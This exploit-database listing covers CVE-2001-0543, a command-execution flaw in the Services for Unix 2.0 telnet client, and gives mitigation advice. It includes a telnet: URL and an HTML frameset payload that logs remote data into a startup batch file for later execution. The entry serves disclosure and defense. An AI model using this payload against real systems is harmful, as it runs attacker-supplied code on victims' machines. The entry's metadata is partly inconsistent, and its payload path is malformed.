header-logo
Suggest Exploit
vendor:
Services for Unix
by:
Unknown
7.5
CVSS
HIGH
Command Execution
78
CWE
Product Name: Services for Unix
Affected Version From: Services for Unix 2.0
Affected Version To: Services for Unix 2.0
Patch Exists: NO
Related CWE: CVE-2001-0543
CPE: a:microsoft:services_for_unix:2.0
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Services for Unix 2.0 Telnet Client Command Execution Vulnerability

A vulnerability exists in Services for Unix 2.0 that allows a remote user to execute arbitrary commands on a target machine by crafting a URL with command line parameters to the telnet client. The telnet client initiates the logging of session information, allowing an attacker to write and execute arbitrary commands.

Mitigation:

Apply the necessary patches or updates from the vendor to fix this vulnerability. Additionally, disable the client side logging option in Services for Unix 2.0.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2463/info

Services for Unix 2.0 contains a client side logging option which records all information exchanged in a telnet session. A vulnerability exists that could enable a remote user to invoke the telnet client and execute arbitrary commands on a target machine via IE. This is achieved by crafting a URL composed of command line parameters to the telnet client, which would invoke 'telnet.exe'. Telnet would connect to the host and initate the logging of session information, access to this file will allow an attacker to write and execute arbitrary commands which may be executed later. 

The following URL will cause IE to connect to the host and initiate the logging function:

telnet:-f%20\file.txt%20host

The following is an example of a malicious HTML message which could cause data that is received from the destination port on the host "host" to be written to the file "filename" in the startup directory for all users. If the logged in user has the appropriate permissions, a batch file will be created and executed upon future authentication.

<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet:-f%20\Documents%20and%Settings\All%20Users
\start%20menu\programs\startup\start.bat%20host%208000>
</frameset>
</html>